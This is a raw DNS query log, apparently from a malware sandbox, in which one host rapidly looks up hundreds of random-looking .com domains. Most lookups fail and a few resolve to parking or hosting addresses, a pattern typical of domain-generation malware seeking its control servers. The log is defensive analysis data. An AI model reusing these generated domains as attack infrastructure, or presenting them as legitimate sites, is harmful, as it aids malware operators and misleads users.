Nov 11, 2024 18:51:01.232806921 CET	1.1.1.1	192.168.2.6	0xfc5e	Name error (3)	vocydof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.234163046 CET	1.1.1.1	192.168.2.6	0x3b30	Name error (3)	pujyxyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.235997915 CET	1.1.1.1	192.168.2.6	0xa959	Name error (3)	puzyciq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.238717079 CET	1.1.1.1	192.168.2.6	0xfcbc	Name error (3)	lymygyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.240607023 CET	1.1.1.1	192.168.2.6	0xe47c	Name error (3)	puvydov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.240617037 CET	1.1.1.1	192.168.2.6	0x27cd	Name error (3)	pujyteq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.241473913 CET	1.1.1.1	192.168.2.6	0x99f7	Name error (3)	lygytyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.242153883 CET	1.1.1.1	192.168.2.6	0xd69b	Name error (3)	vowyjut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.244816065 CET	1.1.1.1	192.168.2.6	0xdd5f	Name error (3)	lykytej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.251131058 CET	1.1.1.1	192.168.2.6	0x4f1e	Name error (3)	lyxyvoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.251534939 CET	1.1.1.1	192.168.2.6	0x1686	Name error (3)	gahyzez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.254096031 CET	1.1.1.1	192.168.2.6	0xdd68	Name error (3)	vofyref.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.261876106 CET	1.1.1.1	192.168.2.6	0x8810	Name error (3)	gatyqih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.263149977 CET	1.1.1.1	192.168.2.6	0x6fd	Name error (3)	vojyzyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.022600889 CET	1.1.1.1	192.168.2.6	0xc39f	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.022619963 CET	1.1.1.1	192.168.2.6	0xb9c9	No error (0)	gahyqah.com		162.255.119.102	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.022619963 CET	1.1.1.1	192.168.2.6	0xb9c9	No error (0)	gahyqah.com		23.253.46.64	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.039778948 CET	1.1.1.1	192.168.2.6	0x30d9	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.063616037 CET	1.1.1.1	192.168.2.6	0x5c99	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.066457033 CET	1.1.1.1	192.168.2.6	0xf24d	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.089165926 CET	1.1.1.1	192.168.2.6	0x7a4f	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.105340958 CET	1.1.1.1	192.168.2.6	0xdc74	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.111866951 CET	1.1.1.1	192.168.2.6	0x883e	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.122937918 CET	1.1.1.1	192.168.2.6	0xc4f	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.139540911 CET	1.1.1.1	192.168.2.6	0x1899	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.154901981 CET	1.1.1.1	192.168.2.6	0x3bff	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.159693956 CET	1.1.1.1	192.168.2.6	0x158e	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.161333084 CET	1.1.1.1	192.168.2.6	0x987c	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.165787935 CET	1.1.1.1	192.168.2.6	0x3928	Name error (3)	qekykev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.172283888 CET	1.1.1.1	192.168.2.6	0x60e6	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.197596073 CET	1.1.1.1	192.168.2.6	0x4628	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.199353933 CET	1.1.1.1	192.168.2.6	0x1da7	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.199666977 CET	1.1.1.1	192.168.2.6	0x99a9	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.200759888 CET	1.1.1.1	192.168.2.6	0x9965	No error (0)	puzylyp.com		99.83.170.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.200759888 CET	1.1.1.1	192.168.2.6	0x9965	No error (0)	puzylyp.com		75.2.71.199	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.208800077 CET	1.1.1.1	192.168.2.6	0x7eb2	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.211982012 CET	1.1.1.1	192.168.2.6	0x72e3	No error (0)	qetyfuv.com		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.375701904 CET	1.1.1.1	192.168.2.6	0x7b5	No error (0)	lyvyxor.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.376163960 CET	1.1.1.1	192.168.2.6	0x4a7a	No error (0)	vojyqem.com	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:51:02.376163960 CET	1.1.1.1	192.168.2.6	0x4a7a	No error (0)	77980.bodis.com		199.59.243.227	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.501667023 CET	1.1.1.1	192.168.2.6	0xea18	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.556807995 CET	1.1.1.1	192.168.2.6	0xf9ff	No error (0)	lymyxid.com		3.94.10.34	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.597035885 CET	1.1.1.1	192.168.2.6	0xe7a8	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.597882032 CET	1.1.1.1	192.168.2.6	0x9c20	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.600224972 CET	1.1.1.1	192.168.2.6	0xe29a	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.602662086 CET	1.1.1.1	192.168.2.6	0xb5b3	Name error (3)	gaqydeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.603669882 CET	1.1.1.1	192.168.2.6	0xbbe	Name error (3)	volykyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.610174894 CET	1.1.1.1	192.168.2.6	0x2b3d	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642703056 CET	1.1.1.1	192.168.2.6	0x9bc7	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642719030 CET	1.1.1.1	192.168.2.6	0x1c83	Name error (3)	lygygin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642729998 CET	1.1.1.1	192.168.2.6	0xe2ee	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642740011 CET	1.1.1.1	192.168.2.6	0x7a85	Name error (3)	lyxylux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642751932 CET	1.1.1.1	192.168.2.6	0xfb3d	Name error (3)	vopybyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642761946 CET	1.1.1.1	192.168.2.6	0x6a3f	Name error (3)	vocyruk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642775059 CET	1.1.1.1	192.168.2.6	0xc670	Name error (3)	qedynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.642786026 CET	1.1.1.1	192.168.2.6	0xdd39	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.646306992 CET	1.1.1.1	192.168.2.6	0xd1f1	Name error (3)	lysynur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.648504972 CET	1.1.1.1	192.168.2.6	0xd1f0	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.648741007 CET	1.1.1.1	192.168.2.6	0x3a2b	Name error (3)	vojyjof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.648802996 CET	1.1.1.1	192.168.2.6	0x4409	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.648816109 CET	1.1.1.1	192.168.2.6	0xe9d6	Name error (3)	gacyryw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.649584055 CET	1.1.1.1	192.168.2.6	0x26bb	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.650484085 CET	1.1.1.1	192.168.2.6	0x6c45	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.650662899 CET	1.1.1.1	192.168.2.6	0xbff9	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.650676012 CET	1.1.1.1	192.168.2.6	0xb923	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.651439905 CET	1.1.1.1	192.168.2.6	0xe70c	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.651451111 CET	1.1.1.1	192.168.2.6	0x4667	Name error (3)	puvytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.652573109 CET	1.1.1.1	192.168.2.6	0x682c	Name error (3)	pumypog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.653184891 CET	1.1.1.1	192.168.2.6	0x1ed2	No error (0)	qegyhig.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.653184891 CET	1.1.1.1	192.168.2.6	0x1ed2	No error (0)	qegyhig.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.657699108 CET	1.1.1.1	192.168.2.6	0xd763	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.658776999 CET	1.1.1.1	192.168.2.6	0x75fc	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.670111895 CET	1.1.1.1	192.168.2.6	0xa718	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.670727015 CET	1.1.1.1	192.168.2.6	0xdf96	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671267033 CET	1.1.1.1	192.168.2.6	0x6d65	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671310902 CET	1.1.1.1	192.168.2.6	0x5080	Name error (3)	lyryvex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		178.162.203.226	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		178.162.217.107	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		5.79.71.205	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		5.79.71.225	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		85.17.31.82	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		85.17.31.122	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		178.162.203.202	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.671714067 CET	1.1.1.1	192.168.2.6	0x8840	No error (0)	gatyfus.com		178.162.203.211	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.812906027 CET	1.1.1.1	192.168.2.6	0xc30a	No error (0)	vonypom.com		18.208.156.248	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.841342926 CET	1.1.1.1	192.168.2.6	0x6073	No error (0)	www.gahyqah.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:51:02.841342926 CET	1.1.1.1	192.168.2.6	0x6073	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.844290972 CET	1.1.1.1	192.168.2.6	0x47e1	No error (0)	vocyzit.com		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:02.887957096 CET	1.1.1.1	192.168.2.6	0xd114	No error (0)	galyqaz.com		199.191.50.83	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.036225080 CET	1.1.1.1	192.168.2.6	0xc0c9	No error (0)	gadyniw.com		154.212.231.82	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.089647055 CET	1.1.1.1	192.168.2.6	0xe6f2	Name error (3)	lymyvin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.103579998 CET	1.1.1.1	192.168.2.6	0xc32b	Name error (3)	pufyjuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.105531931 CET	1.1.1.1	192.168.2.6	0x33f4	Name error (3)	qexytep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.106089115 CET	1.1.1.1	192.168.2.6	0xff7	Name error (3)	gadyhyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.115838051 CET	1.1.1.1	192.168.2.6	0x1dfe	Name error (3)	puzytap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.146641016 CET	1.1.1.1	192.168.2.6	0x2089	Name error (3)	qeqyvig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.189428091 CET	1.1.1.1	192.168.2.6	0x57c3	Name error (3)	vofyjuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.273657084 CET	1.1.1.1	192.168.2.6	0x4592	Name error (3)	ganycuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.276253939 CET	1.1.1.1	192.168.2.6	0x4fa2	Name error (3)	pujylog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:03.323026896 CET	1.1.1.1	192.168.2.6	0xad4d	Name error (3)	gaqyvob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.458656073 CET	1.1.1.1	192.168.2.6	0x9e91	Name error (3)	lyrygyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.500962019 CET	1.1.1.1	192.168.2.6	0xe885	Name error (3)	gaqyfah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.503166914 CET	1.1.1.1	192.168.2.6	0x5226	Name error (3)	vopygat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.508928061 CET	1.1.1.1	192.168.2.6	0x2e89	Name error (3)	pupymyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.513931036 CET	1.1.1.1	192.168.2.6	0x6dea	Name error (3)	volyzef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.523360968 CET	1.1.1.1	192.168.2.6	0x3e3c	Name error (3)	lyxyxyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.523377895 CET	1.1.1.1	192.168.2.6	0x5c54	Name error (3)	qekylag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.523396015 CET	1.1.1.1	192.168.2.6	0xdaa6	Name error (3)	qeqyfaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.523406029 CET	1.1.1.1	192.168.2.6	0x5870	Name error (3)	vofyqit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.525062084 CET	1.1.1.1	192.168.2.6	0x5b32	Name error (3)	lysymux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.525403976 CET	1.1.1.1	192.168.2.6	0xe1a5	Name error (3)	pumydoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.527142048 CET	1.1.1.1	192.168.2.6	0xa626	Name error (3)	qedyqup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.529499054 CET	1.1.1.1	192.168.2.6	0x7c64	Name error (3)	lygyjuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.530587912 CET	1.1.1.1	192.168.2.6	0x50ab	Name error (3)	puvypul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.532893896 CET	1.1.1.1	192.168.2.6	0xde6d	Name error (3)	qegyrol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.538336039 CET	1.1.1.1	192.168.2.6	0x4d52	Name error (3)	qebysul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.539542913 CET	1.1.1.1	192.168.2.6	0x4a90	Name error (3)	gatynes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.539689064 CET	1.1.1.1	192.168.2.6	0x5d8b	Name error (3)	qebyxyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.546083927 CET	1.1.1.1	192.168.2.6	0x4a1e	Name error (3)	vocycuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.548449039 CET	1.1.1.1	192.168.2.6	0x70f0	Name error (3)	vowybof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.549253941 CET	1.1.1.1	192.168.2.6	0x8279	Name error (3)	pumycug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.549750090 CET	1.1.1.1	192.168.2.6	0x263a	Name error (3)	galyros.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.549909115 CET	1.1.1.1	192.168.2.6	0x9423	Name error (3)	gacypyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.550086975 CET	1.1.1.1	192.168.2.6	0x99d6	Name error (3)	pufywil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.550245047 CET	1.1.1.1	192.168.2.6	0xbe	Name error (3)	qedyhyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.553100109 CET	1.1.1.1	192.168.2.6	0xfdd7	Name error (3)	purybav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.559796095 CET	1.1.1.1	192.168.2.6	0x40bd	Name error (3)	vojykom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.559974909 CET	1.1.1.1	192.168.2.6	0x4afd	Name error (3)	qetynev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.562098980 CET	1.1.1.1	192.168.2.6	0x2f14	Name error (3)	lyvysur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.562768936 CET	1.1.1.1	192.168.2.6	0x704a	Name error (3)	lykywid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.563682079 CET	1.1.1.1	192.168.2.6	0x97c9	Name error (3)	lysyger.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.565711021 CET	1.1.1.1	192.168.2.6	0xdd8b	Name error (3)	qegykiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.565727949 CET	1.1.1.1	192.168.2.6	0x8cc1	Name error (3)	vonycum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.568022966 CET	1.1.1.1	192.168.2.6	0x4516	Name error (3)	volyrac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.613544941 CET	1.1.1.1	192.168.2.6	0x80c8	Name error (3)	lyrynad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.621522903 CET	1.1.1.1	192.168.2.6	0x891f	Name error (3)	qekyrov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.629317999 CET	1.1.1.1	192.168.2.6	0x4c4d	Name error (3)	vonydik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.630460978 CET	1.1.1.1	192.168.2.6	0x4f15	Name error (3)	gadyquz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.630799055 CET	1.1.1.1	192.168.2.6	0xfe6c	Name error (3)	ganydiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.630811930 CET	1.1.1.1	192.168.2.6	0xe2d6	Name error (3)	vocypyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.630822897 CET	1.1.1.1	192.168.2.6	0xf454	Name error (3)	vowygem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.632342100 CET	1.1.1.1	192.168.2.6	0xc939	Name error (3)	gacycus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.638971090 CET	1.1.1.1	192.168.2.6	0x718	Name error (3)	galyzeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.643435955 CET	1.1.1.1	192.168.2.6	0x183d	Name error (3)	qexyxuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.643609047 CET	1.1.1.1	192.168.2.6	0xfd50	Name error (3)	puzyxyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.644269943 CET	1.1.1.1	192.168.2.6	0x9b85	Name error (3)	lygywor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.644342899 CET	1.1.1.1	192.168.2.6	0x9342	Name error (3)	gahykih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.645436049 CET	1.1.1.1	192.168.2.6	0x5255	Name error (3)	gahyraw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.649785042 CET	1.1.1.1	192.168.2.6	0xe4d7	Name error (3)	purygeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.656752110 CET	1.1.1.1	192.168.2.6	0x61c2	Name error (3)	vopymyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.666050911 CET	1.1.1.1	192.168.2.6	0xa06e	Name error (3)	pupygel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.673482895 CET	1.1.1.1	192.168.2.6	0x4283	Name error (3)	lykylan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.696193933 CET	1.1.1.1	192.168.2.6	0x3fe8	Name error (3)	lymyfoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.702099085 CET	1.1.1.1	192.168.2.6	0x3ab7	Name error (3)	lyxytex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.044442892 CET	1.1.1.1	192.168.2.6	0xfa97	Name error (3)	vojyquf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.048834085 CET	1.1.1.1	192.168.2.6	0x66a8	Name error (3)	lyvyxyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.053080082 CET	1.1.1.1	192.168.2.6	0x76de	Name error (3)	gatyfaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.054267883 CET	1.1.1.1	192.168.2.6	0x6424	Name error (3)	pujywiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.083456039 CET	1.1.1.1	192.168.2.6	0x942	Name error (3)	lysyfin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.084788084 CET	1.1.1.1	192.168.2.6	0x72b3	Name error (3)	vonyzac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.148230076 CET	1.1.1.1	192.168.2.6	0x1b69	Name error (3)	qexyriq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.173268080 CET	1.1.1.1	192.168.2.6	0x73ba	Name error (3)	pufygav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.175667048 CET	1.1.1.1	192.168.2.6	0xac75	Name error (3)	pumyxep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.195699930 CET	1.1.1.1	192.168.2.6	0xefd4	Name error (3)	galyquw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:06.056860924 CET	1.1.1.1	192.168.2.6	0xc128	Name error (3)	gaqycyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.380600929 CET	1.1.1.1	192.168.2.6	0x968b	Name error (3)	pupyboq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.505264997 CET	1.1.1.1	192.168.2.6	0xefab	Name error (3)	qexylal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.600752115 CET	1.1.1.1	192.168.2.6	0xd7ac	Name error (3)	purydip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.688611984 CET	1.1.1.1	192.168.2.6	0x9756	Name error (3)	gadyneh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.764441967 CET	1.1.1.1	192.168.2.6	0xdc7b	Name error (3)	lysynaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.872941971 CET	1.1.1.1	192.168.2.6	0x7ab0	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.876588106 CET	1.1.1.1	192.168.2.6	0x3b04	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.907825947 CET	1.1.1.1	192.168.2.6	0x107a	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.912770033 CET	1.1.1.1	192.168.2.6	0xd6f9	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.913914919 CET	1.1.1.1	192.168.2.6	0x1d06	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.915960073 CET	1.1.1.1	192.168.2.6	0xad91	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.920572996 CET	1.1.1.1	192.168.2.6	0x5103	Name error (3)	vocyruk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.922475100 CET	1.1.1.1	192.168.2.6	0xd4de	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.923929930 CET	1.1.1.1	192.168.2.6	0x53a3	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.942549944 CET	1.1.1.1	192.168.2.6	0x73c7	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.943240881 CET	1.1.1.1	192.168.2.6	0x11cb	Name error (3)	gacyryw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.943252087 CET	1.1.1.1	192.168.2.6	0x2fd	Name error (3)	lygygin.com	none	none	A (IP address)	IN (0x0001)	false
